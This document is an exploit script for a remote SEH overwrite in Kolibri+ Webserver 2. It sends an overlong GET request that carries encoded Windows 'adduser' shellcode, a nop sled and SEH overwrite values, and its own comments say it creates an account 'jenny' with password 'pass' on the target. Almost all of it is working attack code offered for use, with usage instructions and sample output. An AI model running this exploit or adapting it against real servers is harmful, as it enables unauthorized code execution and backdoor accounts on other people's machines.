Kolibri+ Webserver 2 Remote SEH Overwrite

`#!/usr/bin/python  
#  
# Could not get this to work on XP SP3. php5ts.dll is the only module with safe seh off but could not get the pop pop ret  
# to work correctly despite the large number of usable addresses that were tested.  
#  
# $ ./kolibri.py 192.168.1.146 8080  
#  
# [*] Kolibri+ Webserver 2 SEH Overwrite  
# [*] Written by blake  
# [*] Tested on Windows XP SP 1  
# [*] Denial of Service found by Usman Saeed  
#  
# [+] Connecting to 192.168.1.146 on port 8080  
# [+] Sending payload  
# [+] Done. User jenny created with the password of pass on 192.168.1.146  
  
import socket, sys  
  
print "\n[*] Kolibri+ Webserver 2 SEH Overwrite"  
print "[*] Written by blake"  
print "[*] Tested on Windows XP SP 1"  
print "[*] Denial of Service found by Usman Saeed\n"  
  
if len(sys.argv)!= 3:  
print "[*] Usage: %s <ip> <port>"  
sys.exit(0)  
  
host = sys.argv[1]  
port = int(sys.argv[2])  
  
# windows/adduser - 446 bytes Encoder: x86/alpha_mixed  
# USER=jenny, EXITFUNC=seh, PASS=pass  
  
shellcode = (  
"\x89\xe6\xdb\xc8\xd9\x76\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"  
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"  
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"  
"\x4b\x4c\x4b\x58\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x50"  
"\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x42\x58\x43\x31\x4a\x4f"  
"\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"  
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31"  
"\x49\x50\x4c\x59\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45\x57\x49"  
"\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47\x4b"  
"\x51\x44\x51\x34\x45\x54\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x46"  
"\x44\x45\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b"  
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45"  
"\x51\x4a\x4b\x4b\x39\x51\x4c\x47\x54\x45\x54\x49\x53\x51\x4f"  
"\x50\x31\x4a\x56\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46\x50"  
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d"  
"\x4c\x4b\x43\x58\x45\x58\x4d\x59\x4a\x58\x4c\x43\x49\x50\x42"  
"\x4a\x50\x50\x45\x38\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x43\x58"  
"\x4a\x38\x4b\x4e\x4c\x4a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42"  
"\x43\x42\x4d\x43\x54\x46\x4e\x43\x55\x43\x48\x43\x55\x51\x30"  
"\x46\x4f\x42\x43\x51\x30\x42\x4e\x42\x45\x44\x34\x47\x50\x44"  
"\x35\x42\x53\x45\x35\x43\x42\x51\x30\x43\x5a\x43\x55\x42\x4e"  
"\x42\x4e\x43\x49\x47\x50\x42\x50\x43\x51\x43\x43\x43\x43\x51"  
"\x30\x46\x4f\x51\x51\x51\x54\x51\x54\x51\x30\x51\x36\x47\x56"  
"\x47\x50\x42\x4e\x45\x35\x44\x34\x47\x50\x42\x4c\x42\x4f\x43"  
"\x53\x43\x51\x42\x4c\x43\x57\x42\x52\x42\x4f\x42\x55\x44\x30"  
"\x51\x30\x51\x51\x45\x34\x42\x4d\x42\x49\x42\x4e\x45\x39\x44"  
"\x33\x44\x34\x43\x42\x43\x51\x44\x34\x42\x4f\x42\x52\x43\x43"  
"\x47\x50\x43\x5a\x45\x35\x42\x4e\x42\x4e\x43\x49\x51\x30\x46"  
"\x4f\x47\x31\x51\x54\x47\x34\x43\x30\x41\x41")  
  
payload = "\x41" * 8 # junk buffer  
payload += "\x90" * 10 # nop sled  
sc = shellcode # 446 bytes of shellcode  
jump_near = "\xe9\x34\xfe\xff\xff" # jump near -460 bytes  
next_seh = "\xeb\xf9\xff\xff" # short jump back -7 bytes  
seh = "\x6f\x2a\xe6\x77" # p/p/r from kernel32.dll  
junk = "\x41" * 424 # junk buffer  
  
print "[+] Connecting to %s on port %d" % (host,port)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
s.connect((host,port))  
print "[+] Sending payload"  
s.send("GET /index.html" + payload + sc + jump_near + next_seh + seh + junk + " HTTP/1.0\r\n\r\n")  
s.close()  
print "[+] Done. User jenny created with the password of pass on %s\n" % host  
except:  
print "[x] Could not connect!"  
  
`